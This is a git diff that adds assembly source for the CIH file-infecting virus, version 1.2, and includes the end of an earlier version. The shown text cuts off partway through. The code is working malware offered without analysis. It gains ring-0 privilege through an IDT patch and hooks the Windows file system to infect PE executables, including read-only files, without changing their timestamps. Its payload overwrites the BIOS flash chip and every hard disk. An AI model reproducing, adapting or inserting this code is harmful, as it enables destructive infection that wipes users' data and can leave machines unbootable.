Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; ************************************** + +; *************************** +; * Kill BIOS EEPROM * +; *************************** + + mov bp, 0cf8h + lea esi, IOForEEPROM-@7[esi] + +; *********************** +; * Show BIOS Page in * +; * 000E0000 - 000EFFFF * +; * ( 64 KB ) * +; *********************** + + mov edi, 8000384ch + mov dx, 0cfeh + cli + call esi + +; *********************** +; * Show BIOS Page in * +; * 000F0000 - 000FFFFF * +; * ( 64 KB ) * +; *********************** + + mov di, 0058h + dec edx ; and al,0fh + mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h + call esi + +; *********************** +; * Show the BIOS Extra * +; * ROM Data in Memory * +; * 000E0000 - 000E01FF * +; * ( 512 Bytes ) * +; * , and the Section * +; * of Extra BIOS can * +; * be Writted... * +; *********************** + + lea ebx, EnableEEPROMToWrite-@10[esi] + + mov eax, 0e5555h + mov ecx, 0e2aaah + call ebx + mov byte ptr [eax], 60h + + push ecx + loop $ + +; *********************** +; * Kill the BIOS Extra * +; * ROM Data in Memory * +; * 000E0000 - 000E007F * +; * ( 80h Bytes ) * +; *********************** + + xor ah, ah + mov [eax], al + + xchg ecx, eax + loop $ + +; *********************** +; * Show and Enable the * +; * BIOS Main ROM Data * +; * 000E0000 - 000FFFFF * +; * ( 128 KB ) * +; * can be Writted... * +; *********************** + + mov eax, 0f5555h + pop ecx + mov ch, 0aah + call ebx + mov byte ptr [eax], 20h + + loop $ + +; *********************** +; * Kill the BIOS Main * +; * ROM Data in Memory * +; * 000FE000 - 000FE07F * +; * ( 80h Bytes ) * +; *********************** + + mov ah, 0e0h + mov [eax], al + +; *********************** +; * Hide BIOS Page in * +; * 000F0000 - 000FFFFF * +; * ( 64 KB ) * +; *********************** + ; or al,10h + mov word ptr (BooleanCalculateCode-@10)[esi], 100ch + call esi + +; *************************** +; * Kill All HardDisk * +; *************************************************** +; * IOR Structure of IOS_SendCommand Needs * +; *************************************************** +; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? * +; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 * +; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * +; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * +; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? * +; *************************************************** + +KillHardDisk: + xor ebx, ebx + mov bh, FirstKillHardDiskNumber + push ebx + sub esp, 2ch + push 0c0001000h + mov bh, 08h + push ebx + push ecx + push ecx + push ecx + push 40000501h + inc ecx + push ecx + push ecx + + mov esi, esp + sub esp, 0ach + +LoopOfKillHardDisk: + int 20h + dd 00100004h ; VXDCall IOS_SendCommand + + cmp word ptr [esi+06h], 0017h + je KillNextDataSection + +ChangeNextHardDisk: + inc byte ptr [esi+4dh] + + jmp LoopOfKillHardDisk + +KillNextDataSection: + add dword ptr [esi+10h], ebx + mov byte ptr [esi+4dh], FirstKillHardDiskNumber + + jmp LoopOfKillHardDisk + +; *************************** +; * Enable EEPROM to Write * +; *************************** + +EnableEEPROMToWrite: + mov [eax], cl + mov [ecx], al + mov byte ptr [eax], 80h + mov [eax], cl + mov [ecx], al + + ret + +; *************************** +; * IO for EEPROM * +; *************************** + +IOForEEPROM: +@10 = IOForEEPROM + + xchg eax, edi + xchg edx, ebp + out dx, eax + + xchg eax, edi + xchg edx, ebp + in al, dx + +BooleanCalculateCode = $ + or al, 44h + + xchg eax, edi + xchg edx, ebp + out dx, eax + + xchg eax, edi + xchg edx, ebp + out dx, al + + ret + +; ********************************************************* +; * Static Data * +; ********************************************************* + +LastVxDCallAddress = IFSMgr_Ring0_FileIO +VxDCallAddressTable db 00h + db IFSMgr_RemoveFileSystemApiHook-_PageAllocate + db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook + db IFSMgr_Ring0_FileIO-UniToBCSPath + +VxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h +VxDCallTableSize = ($-VxDCallIDTable)/04h + +; ********************************************************* +; * Virus Version Copyright * +; ********************************************************* + +VirusVersionCopyright db 'CIH v' + db MajorVirusVersion+'0' + db '.' + db MinorVirusVersion+'0' + db ' TTIT' + +; ********************************************************* +; * Virus Size * +; ********************************************************* + +VirusSize = $ +; + SizeOfVirusCodeSectionTableEndMark(04h) +; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h) +; + SizeOfTheFirstVirusCodeSectionTable(04h) + +; ********************************************************* +; * Dynamic Data * +; ********************************************************* + +VirusGameDataStartAddress = VirusSize +@6 = VirusGameDataStartAddress +OnBusy db 0 +FileModificationTime dd ? + +FileNameBuffer db FileNameBufferSize dup(?) +@7 = FileNameBuffer + +DataBuffer = $ +@8 = DataBuffer +NumberOfSections dw ? +TimeDateStamp dd ? +SymbolsPointer dd ? +NumberOfSymbols dd ? +SizeOfOptionalHeader dw ? +_Characteristics dw ? +Magic dw ? +LinkerVersion dw ? +SizeOfCode dd ? +SizeOfInitializedData dd ? +SizeOfUninitializedData dd ? +AddressOfEntryPoint dd ? +BaseOfCode dd ? +BaseOfData dd ? +ImageBase dd ? +@9 = $ +SectionAlignment dd ? +FileAlignment dd ? +OperatingSystemVersion dd ? +ImageVersion dd ? +SubsystemVersion dd ? +Reserved dd ? +SizeOfImage dd ? +SizeOfHeaders dd ? +SizeOfImageHeaderToRead = $-NumberOfSections + +NewAddressOfEntryPoint = DataBuffer ; DWORD +SizeOfImageHeaderToWrite = 04h + +StartOfSectionTable = @9 +SectionName = StartOfSectionTable ; QWORD +VirtualSize = StartOfSectionTable+08h ; DWORD +VirtualAddress = StartOfSectionTable+0ch ; DWORD +SizeOfRawData = StartOfSectionTable+10h ; DWORD +PointerToRawData = StartOfSectionTable+14h ; DWORD +PointerToRelocations = StartOfSectionTable+18h ; DWORD +PointerToLineNumbers = StartOfSectionTable+1ch ; DWORD +NumberOfRelocations = StartOfSectionTable+20h ; WORD +NumberOfLinenNmbers = StartOfSectionTable+22h ; WORD +Characteristics = StartOfSectionTable+24h ; DWORD +SizeOfScetionTable = Characteristics+04h-SectionName + +; ********************************************************* +; * Virus Total Need Memory * +; ********************************************************* + +VirusNeedBaseMemory = $ + +VirusTotalNeedMemory = @9 +; + NumberOfSections(??)*SizeOfScetionTable(28h) +; + SizeOfVirusCodeSectionTableEndMark(04h) +; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h) +; + SizeOfTheFirstVirusCodeSectionTable(04h) + +; ********************************************************* +; ********************************************************* + +VirusGame ENDS + + END FileHeader \ No newline at end of file diff --git a/c/cih_12_2.asm b/c/cih_12_2.asm new file mode 100755 index 0000000..044ca02 --- /dev/null +++ b/c/cih_12_2.asm @@ -0,0 +1,1480 @@ +; **************************************************************************** +; * The Virus Program Information * +; **************************************************************************** +; * * +; * Designer : CIH Original Place : TTIT of Taiwan * +; * Create Date : 04/26/1998 Now Version : 1.2 * +; * Modification Time : 05/21/1998 * +; * * +; *==========================================================================* +; * Modification History * +; *==========================================================================* +; * v1.0 1. Create the Virus Program. * +; * 2. The Virus Modifies IDT to Get Ring0 Privilege. * +; * 04/26/1998 3. Virus Code doesn't Reload into System. * +; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. * +; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. * +; * 6. When System Opens Existing PE File, the File will be * +; * Infected, and the File doesn't be Reinfected. * +; * 7. It is also Infected, even the File is Read-Only. * +; * 8. When the File is Infected, the Modification Date and Time * +; * of the File also don't be Changed. * +; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call * +; * Previous FileSystemApiHook, it will Call the Function * +; * that the IFS Manager Would Normally Call to Implement * +; * this Particular I/O Request. * +; * 10. The Virus Size is only 656 Bytes. * +; *==========================================================================* +; * v1.1 1. Especially, the File that be Infected will not Increase * +; * it's Size... ^__^ * +; * 05/15/1998 2. Hook and Modify Structured Exception Handing. * +; * When Exception Error Occurs, Our OS System should be in * +; * Windows NT. So My Cute Virus will not Continue to Run, * +; * it will Jmup to Original Application to Run. * +; * 3. Use Better Algorithm, Reduce Virus Code Size. * +; * 4. The Virus "Basic" Size is only 796 Bytes. * +; *==========================================================================* +; * v1.2 1. Kill All HardDisk, and BIOS... Super... Killer... * +; * 2. Modify the Bug of v1.1 * +; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. * +; **************************************************************************** + + .586P + +; **************************************************************************** +; * Original PE Executable File(Don't Modify this Section) * +; **************************************************************************** + +OriginalAppEXE SEGMENT + +FileHeader: + db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h + db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h + db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h + db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh + db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h + db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h + db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh + db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh + db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h + db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah + db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h + db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h + db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h + db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h + db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h + db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h + db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h + db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h + db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h + db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h + db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h + db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + dd 00000000h, VirusSize + +OriginalAppEXE ENDS + +; **************************************************************************** +; * My Virus Game * +; **************************************************************************** + +; ********************************************************* +; * Constant Define * +; ********************************************************* + +TRUE = 1 +FALSE = 0 + +DEBUG = TRUE + +MajorVirusVersion = 1 +MinorVirusVersion = 2 + +VirusVersion = MajorVirusVersion*10h+MinorVirusVersion + + +IF DEBUG + + FirstKillHardDiskNumber = 81h + HookExceptionNumber = 05h + +ELSE + + FirstKillHardDiskNumber = 80h + HookExceptionNumber = 03h + +ENDIF + + +FileNameBufferSize = 7fh + +; ********************************************************* +; ********************************************************* + +VirusGame SEGMENT + + ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame + ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame + +; ********************************************************* +; * Ring3 Virus Game Initial Program * +; ********************************************************* + +MyVirusStart: + push ebp + +; ************************************* +; * Let's Modify Structured Exception * +; * Handing, Prevent Exception Error * +; * Occurrence, Especially in NT. * +; ************************************* + + lea eax, [esp-04h*2] + + xor ebx, ebx + xchg eax, fs:[ebx] + + call @0 +@0: + pop ebx + + lea ecx, StopToRunVirusCode-@0[ebx] + push ecx + + push eax + +; ************************************* +; * Let's Modify * +; * IDT(Interrupt Descriptor Table) * +; * to Get Ring0 Privilege... * +; ************************************* + + push eax ; + sidt [esp-02h] ; Get IDT Base Address + pop ebx ; + + add ebx, HookExceptionNumber*08h+04h ; ZF = 0 + + cli + + mov ebp, [ebx] ; Get Exception Base + mov bp, [ebx-04h] ; Entry Point + + lea esi, MyExceptionHook-@1[ecx] + + push esi + + mov [ebx-04h], si ; + shr esi, 16 ; Modify Exception + mov [ebx+02h], si ; Entry Point Address + + pop esi + +; ************************************* +; * Generate Exception to Get Ring0 * +; ************************************* + + int HookExceptionNumber ; GenerateException +ReturnAddressOfEndException = $ + +; ************************************* +; * Merge All Virus Code Section * +; ************************************* + + push esi + mov esi, eax + +LoopOfMergeAllVirusCodeSection: + + mov ecx, [eax-04h] + + rep movsb + + sub eax, 08h + + mov esi, [eax] + + or esi, esi + jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1 + + jmp LoopOfMergeAllVirusCodeSection + +QuitLoopOfMergeAllVirusCodeSection: + + pop esi + +; ************************************* +; * Generate Exception Again * +; ************************************* + + int HookExceptionNumber ; GenerateException Again + +; ************************************* +; * Let's Restore * +; * Structured Exception Handing * +; ************************************* + +ReadyRestoreSE: + sti + + xor ebx, ebx + + jmp RestoreSE + +; ************************************* +; * When Exception Error Occurs, * +; * Our OS System should be in NT. * +; * So My Cute Virus will not * +; * Continue to Run, it Jmups to * +; * Original Application to Run. * +; ************************************* + +StopToRunVirusCode: +@1 = StopToRunVirusCode + + xor ebx, ebx + mov eax, fs:[ebx] + mov esp, [eax] + +RestoreSE: + pop dword ptr fs:[ebx] + pop eax + +; ************************************* +; * Return Original App to Execute * +; ************************************* + + pop ebp + + push 00401000h ; Push Original +OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack + + ret ; Return to Original App Entry Point + +; ********************************************************* +; * Ring0 Virus Game Initial Program * +; ********************************************************* + +MyExceptionHook: +@2 = MyExceptionHook + + jz InstallMyFileSystemApiHook + +; ************************************* +; * Do My Virus Exist in System !? * +; ************************************* + + mov ecx, dr0 + jecxz AllocateSystemMemoryPage + + add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException + +; ************************************* +; * Return to Ring3 Initial Program * +; ************************************* + +ExitRing0Init: + mov [ebx-04h], bp ; + shr ebp, 16 ; Restore Exception + mov [ebx+02h], bp ; + + iretd + +; ************************************* +; * Allocate SystemMemory Page to Use * +; ************************************* + +AllocateSystemMemoryPage: + + mov dr0, ebx ; Set the Mark of My Virus Exist in System + + push 00000000fh ; + push ecx ; + push 0ffffffffh ; + push ecx ; + push ecx ; + push ecx ; + push 000000001h ; + push 000000002h ; + int 20h ; VMMCALL _PageAllocate +_PageAllocate = $ ; + dd 00010053h ; Use EAX, ECX, EDX, and flags + add esp, 08h*04h + + xchg edi, eax ; EDI = SystemMemory Start Address + + lea eax, MyVirusStart-@2[esi] + + iretd ; Return to Ring3 Initial Program + +; ************************************* +; * Install My File System Api Hook * +; ************************************* + +InstallMyFileSystemApiHook: + + lea eax, FileSystemApiHook-@6[edi] + + push eax ; + int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook +IFSMgr_InstallFileSystemApiHook = $ ; + dd 00400067h ; Use EAX, ECX, EDX, and flags + + mov dr0, eax ; Save OldFileSystemApiHook Address + + pop eax ; EAX = FileSystemApiHook Address + + ; Save Old IFSMgr_InstallFileSystemApiHook Entry Point + mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] + mov edx, [ecx] + mov OldInstallFileSystemApiHook-@3[eax], edx + + ; Modify IFSMgr_InstallFileSystemApiHook Entry Point + lea eax, InstallFileSystemApiHook-@3[eax] + mov [ecx], eax + + cli + + jmp ExitRing0Init + +; ********************************************************* +; * Code Size of Merge Virus Code Section * +; ********************************************************* + +CodeSizeOfMergeVirusCodeSection = offset $ + +; ********************************************************* +; * IFSMgr_InstallFileSystemApiHook * +; ********************************************************* + +InstallFileSystemApiHook: + push ebx + + call @4 ; +@4: ; + pop ebx ; mov ebx, offset FileSystemApiHook + add ebx, FileSystemApiHook-@4 ; + + push ebx + int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook +IFSMgr_RemoveFileSystemApiHook = $ + dd 00400068h ; Use EAX, ECX, EDX, and flags + pop eax + + ; Call Original IFSMgr_InstallFileSystemApiHook + ; to Link Client FileSystemApiHook + push dword ptr [esp+8] + call OldInstallFileSystemApiHook-@3[ebx] + pop ecx + + push eax + + ; Call Original IFSMgr_InstallFileSystemApiHook + ; to Link My FileSystemApiHook + push ebx + call OldInstallFileSystemApiHook-@3[ebx] + pop ecx + + mov dr0, eax ; Adjust OldFileSystemApiHook Address + + pop eax + + pop ebx + + ret + +; ********************************************************* +; * Static Data * +; ********************************************************* + +OldInstallFileSystemApiHook dd ? + +; ********************************************************* +; * IFSMgr_FileSystemHook * +; ********************************************************* + +; ************************************* +; * IFSMgr_FileSystemHook Entry Point * +; ************************************* + +FileSystemApiHook: +@3 = FileSystemApiHook + + pushad + + call @5 ; +@5: ; + pop esi ; mov esi, offset VirusGameDataStartAddress + add esi, VirusGameDataStartAddress-@5 + +; ************************************* +; * Is OnBusy !? * +; ************************************* + + test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy ) + jnz pIFSFunc ; goto pIFSFunc + +; ************************************* +; * Is OpenFile !? * +; ************************************* + + ; if ( NotOpenFile ) + ; goto prevhook + lea ebx, [esp+20h+04h+04h] + cmp dword ptr [ebx], 00000024h + jne prevhook + +; ************************************* +; * Enable OnBusy * +; ************************************* + + inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy + +; ************************************* +; * Get FilePath's DriveNumber, * +; * then Set the DriveName to * +; * FileNameBuffer. * +; ************************************* +; * Ex. If DriveNumber is 03h, * +; * DriveName is 'C:'. * +; ************************************* + + ; mov esi, offset FileNameBuffer + add esi, FileNameBuffer-@6 + + push esi + + mov al, [ebx+04h] + cmp al, 0ffh + je CallUniToBCSPath + + add al, 40h + mov ah, ':' + + mov [esi], eax + + inc esi + inc esi + +; ************************************* +; * UniToBCSPath * +; ************************************* +; * This Service Converts * +; * a Canonicalized Unicode Pathname * +; * to a Normal Pathname in the * +; * Specified BCS Character Set. * +; ************************************* + +CallUniToBCSPath: + push 00000000h + push FileNameBufferSize + mov ebx, [ebx+10h] + mov eax, [ebx+0ch] + add eax, 04h + push eax + push esi + int 20h ; VXDCall UniToBCSPath +UniToBCSPath = $ + dd 00400041h + add esp, 04h*04h + +; ************************************* +; * Is FileName '.EXE' !? * +; ************************************* + + ; cmp [esi+eax-04h], '.EXE' + cmp [esi+eax-04h], 'EXE.' + pop esi + jne DisableOnBusy + +IF DEBUG + +; ************************************* +; * Only for Debug * +; ************************************* + + ; cmp [esi+eax-06h], 'FUCK' + cmp [esi+eax-06h], 'KCUF' + jne DisableOnBusy + +ENDIF + +; ************************************* +; * Is Open Existing File !? * +; ************************************* + + ; if ( NotOpenExistingFile ) + ; goto DisableOnBusy + cmp word ptr [ebx+18h], 01h + jne DisableOnBusy + +; ************************************* +; * Get Attributes of the File * +; ************************************* + + mov ax, 4300h + int 20h ; VXDCall IFSMgr_Ring0_FileIO +IFSMgr_Ring0_FileIO = $ + dd 00400032h + + jc DisableOnBusy + + push ecx + +; ************************************* +; * Get IFSMgr_Ring0_FileIO Address * +; ************************************* + + mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi] + mov edi, [edi] + +; ************************************* +; * Is Read-Only File !? * +; ************************************* + + test cl, 01h + jz OpenFile + +; ************************************* +; * Modify Read-Only File to Write * +; ************************************* + + mov ax, 4301h + xor ecx, ecx + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; ************************************* +; * Open File * +; ************************************* + +OpenFile: + xor eax, eax + mov ah, 0d5h + xor ecx, ecx + xor edx, edx + inc edx + mov ebx, edx + inc ebx + call edi ; VXDCall IFSMgr_Ring0_FileIO + + xchg ebx, eax ; mov ebx, FileHandle + +; ************************************* +; * Need to Restore * +; * Attributes of the File !? * +; ************************************* + + pop ecx + + pushf + + test cl, 01h + jz IsOpenFileOK + +; ************************************* +; * Restore Attributes of the File * +; ************************************* + + mov ax, 4301h + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; ************************************* +; * Is Open File OK !? * +; ************************************* + +IsOpenFileOK: + popf + + jc DisableOnBusy + +; ************************************* +; * Open File Already Succeed. ^__^ * +; ************************************* + + push esi ; Push FileNameBuffer Address to Stack + + pushf ; Now CF = 0, Push Flag to Stack + + add esi, DataBuffer-@7 ; mov esi, offset DataBuffer + +; *************************** +; * Get OffsetToNewHeader * +; *************************** + + xor eax, eax + mov ah, 0d6h + + ; For Doing Minimal VirusCode's Length, + ; I Save EAX to EBP. + mov ebp, eax + + xor ecx, ecx + mov cl, 04h + xor edx, edx + mov dl, 3ch + call edi ; VXDCall IFSMgr_Ring0_FileIO + + mov edx, [esi] + +; *************************** +; * Get 'PE\0' Signature * +; * of ImageFileHeader, and * +; * Infected Mark. * +; *************************** + + dec edx + + mov eax, ebp + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; *************************** +; * Is PE !? * +; *************************** +; * Is the File * +; * Already Infected !? * +; *************************** + + ; cmp [esi], '\0PE\0' + cmp dword ptr [esi], 00455000h + jne CloseFile + +; ************************************* +; * The File is ^o^ * +; * PE(Portable Executable) indeed. * +; ************************************* +; * The File isn't also Infected. * +; ************************************* + +; ************************************* +; * Start to Infect the File * +; ************************************* +; * Registers Use Status Now : * +; * * +; * EAX = 04h * +; * EBX = File Handle * +; * ECX = 04h * +; * EDX = 'PE\0\0' Signature of * +; * ImageFileHeader Pointer's * +; * Former Byte. * +; * ESI = DataBuffer Address ==> @8 * +; * EDI = IFSMgr_Ring0_FileIO Address * +; * EBP = D600h ==> Read Data in File * +; ************************************* +; * Stack Dump : * +; * * +; * ESP => ------------------------- * +; * | EFLAG(CF=0) | * +; * ------------------------- * +; * | FileNameBufferPointer | * +; * ------------------------- * +; * | EDI | * +; * ------------------------- * +; * | ESI | * +; * ------------------------- * +; * | EBP | * +; * ------------------------- * +; * | ESP | * +; * ------------------------- * +; * | EBX | * +; * ------------------------- * +; * | EDX | * +; * ------------------------- * +; * | ECX | * +; * ------------------------- * +; * | EAX | * +; * ------------------------- * +; * | Return Address | * +; * ------------------------- * +; ************************************* + + push ebx ; Save File Handle + + push 00h ; Set VirusCodeSectionTableEndMark + +; *************************** +; * Let's Set the * +; * Virus' Infected Mark * +; *************************** + + push 01h ; Size + push edx ; Pointer of File + push edi ; Address of Buffer + +; *************************** +; * Save ESP Register * +; *************************** + + mov dr1, esp + +; *************************** +; * Let's Set the * +; * NewAddressOfEntryPoint * +; * ( Only First Set Size ) * +; *************************** + + push eax ; Size + +; *************************** +; * Let's Read * +; * Image Header in File * +; *************************** + + mov eax, ebp + mov cl, SizeOfImageHeaderToRead + add edx, 07h ; Move EDX to NumberOfSections + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; *************************** +; * Let's Set the * +; * NewAddressOfEntryPoint * +; * ( Set Pointer of File, * +; * Address of Buffer ) * +; *************************** + + lea eax, (AddressOfEntryPoint-@8)[edx] + push eax ; Pointer of File + + lea eax, (NewAddressOfEntryPoint-@8)[esi] + push eax ; Address of Buffer + +; *************************** +; * Move EDX to the Start * +; * of SectionTable in File * +; *************************** + + movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi] + lea edx, [eax+edx+12h] + +; *************************** +; * Let's Get * +; * Total Size of Sections * +; *************************** + + mov al, SizeOfScetionTable + + ; I Assume NumberOfSections <= 0ffh + mov cl, (NumberOfSections-@8)[esi] + + mul cl + +; *************************** +; * Let's Set Section Table * +; *************************** + + ; Move ESI to the Start of SectionTable + lea esi, (StartOfSectionTable-@8)[esi] + + push eax ; Size + push edx ; Pointer of File + push esi ; Address of Buffer + +; *************************** +; * The Code Size of Merge * +; * Virus Code Section and * +; * Total Size of Virus * +; * Code Section Table Must * +; * be Small or Equal the * +; * Unused Space Size of * +; * Following Section Table * +; *************************** + + inc ecx + push ecx ; Save NumberOfSections+1 + + shl ecx, 03h + push ecx ; Save TotalSizeOfVirusCodeSectionTable + + add ecx, eax + add ecx, edx + + sub ecx, (SizeOfHeaders-@9)[esi] + jnc short OnlySetInfectedMark + + not ecx + inc ecx + + cmp cx, small CodeSizeOfMergeVirusCodeSection + jb OnlySetInfectedMark + +; *************************** +; * Save Original * +; * Address of Entry Point * +; *************************** + + ; Save My Virus First Section Code + ; Size of Following Section Table... + ; ( Not Include the Size of Virus Code Section Table ) + push ecx + + xchg ecx, eax ; ECX = Size of Section Table + + mov eax, (AddressOfEntryPoint-@9)[esi] + add eax, (ImageBase-@9)[esi] + mov (OriginalAddressOfEntryPoint-@9)[esi], eax + +; *************************** +; * Read All Section Tables * +; *************************** + + mov eax, ebp + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; *************************** +; * Let's Set Total Virus * +; * Code Section Table * +; *************************** + + ; EBX = My Virus First Section Code + ; Size of Following Section Table + pop ebx + pop edi ; EDI = TotalSizeOfVirusCodeSectionTable + pop ecx ; ECX = NumberOfSections+1 + + push edi ; Size + + add edx, eax + push edx ; Pointer of File + + add eax, esi + push eax ; Address of Buffer + +; *************************** +; * Set the First Virus * +; * Code Section Size in * +; * VirusCodeSectionTable * +; *************************** + + lea eax, [eax+edi-04h] + mov [eax], ebx + +; *************************** +; * Let's Set My Virus * +; * First Section Code * +; *************************** + + push ebx ; Size + + add edx, edi + push edx ; Pointer of File + + lea edi, (MyVirusStart-@9)[esi] + push edi ; Address of Buffer + +; *************************** +; * Let's Modify the * +; * AddressOfEntryPoint to * +; * My Virus Entry Point * +; *************************** + + mov (NewAddressOfEntryPoint-@9)[esi], edx + +; *************************** +; * Setup Initial Data * +; *************************** + + lea edx, [esi-SizeOfScetionTable] + mov ebp, offset VirusSize + + jmp StartToWriteCodeToSections + +; *************************** +; * Write Code to Sections * +; *************************** + +LoopOfWriteCodeToSections: + + add edx, SizeOfScetionTable + + mov ebx, (SizeOfRawData-@9)[edx] + sub ebx, (VirtualSize-@9)[edx] + jbe EndOfWriteCodeToSections + + push ebx ; Size + + sub eax, 08h + mov [eax], ebx + + mov ebx, (PointerToRawData-@9)[edx] + add ebx, (VirtualSize-@9)[edx] + push ebx ; Pointer of File + + push edi ; Address of Buffer + + mov ebx, (VirtualSize-@9)[edx] + add ebx, (VirtualAddress-@9)[edx] + add ebx, (ImageBase-@9)[esi] + mov [eax+4], ebx + + mov ebx, [eax] + add (VirtualSize-@9)[edx], ebx + + ; Section contains initialized data ==> 00000040h + ; Section can be Read. ==> 40000000h + or (Characteristics-@9)[edx], 40000040h + +StartToWriteCodeToSections: + + sub ebp, ebx + jbe SetVirusCodeSectionTableEndMark + + add edi, ebx ; Move Address of Buffer + +EndOfWriteCodeToSections: + + loop LoopOfWriteCodeToSections + +; *************************** +; * Only Set Infected Mark * +; *************************** + +OnlySetInfectedMark: + mov esp, dr1 + + jmp WriteVirusCodeToFile + +; *************************** +; * Set Virus Code * +; * Section Table End Mark * +; *************************** + +SetVirusCodeSectionTableEndMark: + + ; Adjust Size of Virus Section Code to Correct Value + add [eax], ebp + add [esp+08h], ebp + + ; Set End Mark + xor ebx, ebx + mov [eax-04h], ebx + +; *************************** +; * When VirusGame Calls * +; * 